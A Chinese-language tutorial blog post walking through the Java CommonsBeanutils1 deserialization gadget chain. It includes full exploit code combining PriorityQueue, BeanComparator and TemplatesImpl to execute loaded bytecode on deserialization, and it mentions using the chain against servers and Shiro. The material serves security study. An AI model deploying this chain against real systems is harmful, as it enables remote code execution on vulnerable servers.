环境搭建
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
什么是JavaBean
符合这种定义的 class 叫做JavaBean
//读方法
public Type getHz()
//写方法:
public void setHz(Type value)
演示
Person.java代码:
package CB;
public class Person {
private String name;
private int age;
public Person(String name,int age){
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
主程序代码 Bean.java:
package CB;
import org.apache.commons.beanutils.PropertyUtils;
public class Bean {
public static void main(String[] args) throws Exception {
Person person = new Person("cike_y",18);
System.out.println(PropertyUtils.getProperty(person,"age"));
}
}
运行代码之后可以看见,输出了 age变量
它相当于调用 Person类的 getAge方法
CB1链原理
断点分析 getProperty
我们已经知道了,只要符合 JavaBean格式的class,都可以调用这个 PropertyUtils类的这个getProperty方法。所以现在我们可以断掉调试一下。
点击去 getProperty方法看一下调用过程
然后来到这里,然后按F7
这里也调用了 getProperty,点进去看一下
然后来到了这里,可以看见调用了 getNestedProperty 方法
继续按 F7 来到了 getNestedProperty 方法的具体构造。这些是 判断 bean 是否为空,不用管
然后直到来到这里,按F7
然后 按F8来到这里,可以看见是之前熟悉的 反射以及调用
可以发现 之前的属性变量age 首字母变成了大写 Age,然后自动加上了 get 拼接 Age 变成了 getAge方法。
这个时候就能理解为什么调用这个方法的时候会自动调用 Person中的 getAge()方法进行读取
最后再进行反射调用,读取的方法,以及对象类型
最后再返回内容
getProperty的利用
通过断点分析,我们知道了,getProperty方法会将 name属性值的命名结构改为驼峰格式
所以我们需要找能够加载恶意字节码或者命令执行的一个类的方法,用这种方式进行调用
实际上 TemplatesImpl 类中 getOutputProperties这个方法刚好符合这个结构,而且前面是get字符串,也调用了之前CC3链中的 用过的newTransformer方法,这个方法可以加载我们恶意的字节码,从而达到命令执行。
CB1链子构造
CC3尾部链拼接getProperty
我们知道了 getOutputProperties方法调用了 newTransformer,那么我们就可以将之前CC3的尾部链放进来进行拼接构造链子。
exp代码构造:
package CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Bean {
public static void main(String[] args) throws Exception {
// Person person = new Person("cike_y",18);
// System.out.println(PropertyUtils.getProperty(person,"age"));
//CC3尾部链
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
//CB1中的getProperty调用getOutputProperties方法,从而调用 newTransformer,然后加载字节码
PropertyUtils.getProperty(templates,"outputProperties");
}
}
可以看见命令执行成功
入口链的寻找
我们的目的是反序列化的时候执行代码,我们需要寻找 谁调用了 getProperty这个方法。
可以看见这里有一个很熟悉的方法,是CC2中的 利用过的compare 方法,需要使用优先队列。
这是CC2的流程图
我们可以去 PriorityQueue类的 readObject方法看一下怎么调用 compare方法的
然后点进这个函数
再点进这个函数
可以发现,PriorityQueue类的readObject方法调用了 compare方法
至此我们分析到了 入口链是 PropertyUtils类,这个类的readObject方法调用了 compare方法,当我们反序列化的时候会自动调用。
所以构造链如下:
PropertyUtils类反序列化的时候调用compare -> PropertyUtils.getProperty ->
-> TemplatesImpl.getOutputProperties -> TemplatesImpl.newTransformer ->
TemplatesImpl.getTransletInstance -> 恶意字节码
CB1链exp代码构造
我们现在知道CB1的链子流程了,从而构造exp代码:
package CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class Bean {
public static void main(String[] args) throws Exception {
//CC3尾部链
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
BeanComparator beanComparator = new BeanComparator("outputProperties");
//CC2 部分的 优先队列
priorityQueue.add(templates);
priorityQueue.add(1);
Class<? extends PriorityQueue> pc = priorityQueue.getClass();
Field comparator = pc.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,beanComparator);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
可以看见命令执行成功
总结
这个链子打服务器的时候,比如服务器使用的是 1.8.3,那么反序列化构造链的时候版本也要对的上,否则会出现报错什么的。这条链子是一个比较重要的链子,后续的shiro框架漏洞都会用到。